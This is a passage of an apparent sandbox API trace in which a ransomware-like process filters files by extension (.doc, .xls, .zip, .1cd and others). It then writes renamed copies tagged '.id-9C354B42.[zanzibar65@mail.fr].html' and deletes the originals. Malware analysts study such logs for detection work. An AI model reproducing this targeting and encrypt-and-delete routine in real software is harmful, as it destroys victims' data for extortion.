lpString2="MID") returned -1 [0272.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0272.135] lstrlenW (lpString=".dbf") returned 4 [0272.135] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0272.135] lstrlenW (lpString=".1cd") returned 4 [0272.135] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0272.135] lstrlenW (lpString=".jpg") returned 4 [0272.135] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0272.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0272.135] lstrlenW (lpString=".doc") returned 4 [0272.135] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.135] lstrlenW (lpString=".docx") returned 5 [0272.135] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.135] lstrlenW (lpString=".pdf") returned 4 [0272.135] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.135] lstrlenW (lpString=".xls") returned 4 [0272.135] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.135] lstrlenW (lpString=".xlsx") returned 5 [0272.136] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.136] lstrlenW (lpString=".ppt") returned 4 [0272.136] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0272.136] lstrlenW (lpString=".zip") returned 4 [0272.136] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.136] lstrlenW (lpString=".rar") returned 4 [0272.136] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.136] lstrlenW (lpString=".bz2") returned 4 [0272.136] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.136] lstrlenW (lpString=".7z") returned 3 [0272.136] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0272.136] lstrlenW (lpString=".dbf") returned 4 [0272.136] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0272.136] lstrlenW (lpString=".1cd") returned 4 [0272.136] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0272.136] lstrlenW (lpString=".jpg") returned 4 [0272.136] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.136] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0272.136] lstrlenW (lpString="SPACE_01.MID") returned 12 [0272.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0272.137] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=4219) returned 1 [0272.137] CloseHandle (hObject=0x2f8) returned 1 [0272.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 0x20 [0272.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0272.137] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.137] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.138] GetLastError () returned 0x0 [0272.138] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x107b, lpOverlapped=0x0) returned 1 [0272.139] WriteFile (in: hFile=0x37c, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x1080, lpOverlapped=0x0) returned 1 [0272.140] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.140] WriteFile (in: hFile=0x37c, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.140] SetEndOfFile (hFile=0x37c) returned 1 [0272.140] CloseHandle (hObject=0x37c) returned 1 [0272.141] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.141] SetEndOfFile (hFile=0x2f8) returned 1 [0272.201] CloseHandle (hObject=0x2f8) returned 1 [0272.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 1 [0272.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0272.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0272.269] lstrlenW (lpString=".doc") returned 4 [0272.269] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.269] lstrlenW (lpString=".docx") returned 5 [0272.270] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.270] lstrlenW (lpString=".pdf") returned 4 [0272.270] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.270] lstrlenW (lpString=".xls") returned 4 [0272.270] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.270] lstrlenW (lpString=".xlsx") returned 5 [0272.270] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.270] lstrlenW (lpString=".ppt") returned 4 [0272.270] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0272.270] lstrlenW (lpString=".zip") returned 4 [0272.270] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.270] lstrlenW (lpString=".rar") returned 4 [0272.270] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.270] lstrlenW (lpString=".bz2") returned 4 [0272.270] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.270] lstrlenW (lpString=".7z") returned 3 [0272.270] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0272.270] lstrlenW (lpString=".dbf") returned 4 [0272.270] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0272.270] lstrlenW (lpString=".1cd") returned 4 [0272.270] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0272.270] lstrlenW (lpString=".jpg") returned 4 [0272.271] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0272.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0272.271] lstrlenW (lpString=".doc") returned 4 [0272.271] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.271] lstrlenW (lpString=".docx") returned 5 [0272.271] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.271] lstrlenW (lpString=".pdf") returned 4 [0272.271] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.271] lstrlenW (lpString=".xls") returned 4 [0272.271] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.271] lstrlenW (lpString=".xlsx") returned 5 [0272.271] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.271] lstrlenW (lpString=".ppt") returned 4 [0272.271] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0272.271] lstrlenW (lpString=".zip") returned 4 [0272.271] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.271] lstrlenW (lpString=".rar") returned 4 [0272.271] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.271] lstrlenW (lpString=".bz2") returned 4 [0272.271] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.271] lstrlenW (lpString=".7z") returned 3 [0272.271] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0272.271] lstrlenW (lpString=".dbf") returned 4 [0272.271] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0272.271] lstrlenW (lpString=".1cd") returned 4 [0272.271] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0272.271] lstrlenW (lpString=".jpg") returned 4 [0272.272] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.272] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0272.272] lstrlenW (lpString="Apex.eftx") returned 9 [0272.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0272.326] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=218310) returned 1 [0272.326] CloseHandle (hObject=0x304) returned 1 [0272.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 0x20 [0272.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0272.328] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.328] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0272.580] GetLastError () returned 0x0 [0272.580] ReadFile (in: hFile=0x304, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x354c6, lpOverlapped=0x0) returned 1 [0272.587] WriteFile (in: hFile=0x380, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x354d0, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x354d0, lpOverlapped=0x0) returned 1 [0272.590] ReadFile (in: hFile=0x304, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.590] WriteFile (in: hFile=0x380, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0272.590] SetEndOfFile (hFile=0x380) returned 1 [0272.591] CloseHandle (hObject=0x380) returned 1 [0272.591] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.591] SetEndOfFile (hFile=0x304) returned 1 [0272.596] CloseHandle (hObject=0x304) returned 1 [0272.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 1 [0272.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0272.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0272.616] lstrlenW (lpString=".doc") returned 4 [0272.616] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.616] lstrlenW (lpString=".docx") returned 5 [0272.616] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.616] lstrlenW (lpString=".pdf") returned 4 [0272.616] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.616] lstrlenW (lpString=".xls") returned 4 [0272.616] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.616] lstrlenW (lpString=".xlsx") returned 5 [0272.616] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.616] lstrlenW (lpString=".ppt") returned 4 [0272.616] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0272.616] lstrlenW (lpString=".zip") returned 4 [0272.616] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.616] lstrlenW (lpString=".rar") returned 4 [0272.616] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.616] lstrlenW (lpString=".bz2") returned 4 [0272.616] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.616] lstrlenW (lpString=".7z") returned 3 [0272.616] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0272.616] lstrlenW (lpString=".dbf") returned 4 [0272.616] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0272.616] lstrlenW (lpString=".1cd") returned 4 [0272.616] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0272.617] lstrlenW (lpString=".jpg") returned 4 [0272.617] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0272.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0272.617] lstrlenW (lpString=".doc") returned 4 [0272.617] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.617] lstrlenW (lpString=".docx") returned 5 [0272.617] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.617] lstrlenW (lpString=".pdf") returned 4 [0272.617] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.617] lstrlenW (lpString=".xls") returned 4 [0272.617] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.617] lstrlenW (lpString=".xlsx") returned 5 [0272.617] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.617] lstrlenW (lpString=".ppt") returned 4 [0272.617] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0272.617] lstrlenW (lpString=".zip") returned 4 [0272.617] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.617] lstrlenW (lpString=".rar") returned 4 [0272.617] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.617] lstrlenW (lpString=".bz2") returned 4 [0272.617] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.617] lstrlenW (lpString=".7z") returned 3 [0272.617] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0272.617] lstrlenW (lpString=".dbf") returned 4 [0272.617] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0272.617] lstrlenW (lpString=".1cd") returned 4 [0272.617] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0272.617] lstrlenW (lpString=".jpg") returned 4 [0272.618] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.618] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0272.618] lstrlenW (lpString="Civic.eftx") returned 10 [0272.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.619] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=42917) returned 1 [0272.619] CloseHandle (hObject=0x37c) returned 1 [0272.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 0x20 [0272.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0272.639] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.639] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0272.639] GetLastError () returned 0x0 [0272.639] ReadFile (in: hFile=0x398, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0xa7a5, lpOverlapped=0x0) returned 1 [0272.752] WriteFile (in: hFile=0x394, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xa7b0, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xa7b0, lpOverlapped=0x0) returned 1 [0272.754] ReadFile (in: hFile=0x398, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.754] WriteFile (in: hFile=0x394, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0272.754] SetEndOfFile (hFile=0x394) returned 1 [0272.754] CloseHandle (hObject=0x394) returned 1 [0272.754] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.754] SetEndOfFile (hFile=0x398) returned 1 [0272.757] CloseHandle (hObject=0x398) returned 1 [0272.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 1 [0272.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0272.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0272.757] lstrlenW (lpString=".doc") returned 4 [0272.757] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.757] lstrlenW (lpString=".docx") returned 5 [0272.757] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.757] lstrlenW (lpString=".pdf") returned 4 [0272.758] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.758] lstrlenW (lpString=".xls") returned 4 [0272.758] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.758] lstrlenW (lpString=".xlsx") returned 5 [0272.758] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.758] lstrlenW (lpString=".ppt") returned 4 [0272.758] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0272.758] lstrlenW (lpString=".zip") returned 4 [0272.758] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.758] lstrlenW (lpString=".rar") returned 4 [0272.758] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.758] lstrlenW (lpString=".bz2") returned 4 [0272.758] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.758] lstrlenW (lpString=".7z") returned 3 [0272.758] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0272.758] lstrlenW (lpString=".dbf") returned 4 [0272.758] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0272.758] lstrlenW (lpString=".1cd") returned 4 [0272.758] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0272.758] lstrlenW (lpString=".jpg") returned 4 [0272.758] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0272.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0272.758] lstrlenW (lpString=".doc") returned 4 [0272.758] lstrcmpiW (lpString1=".doc", 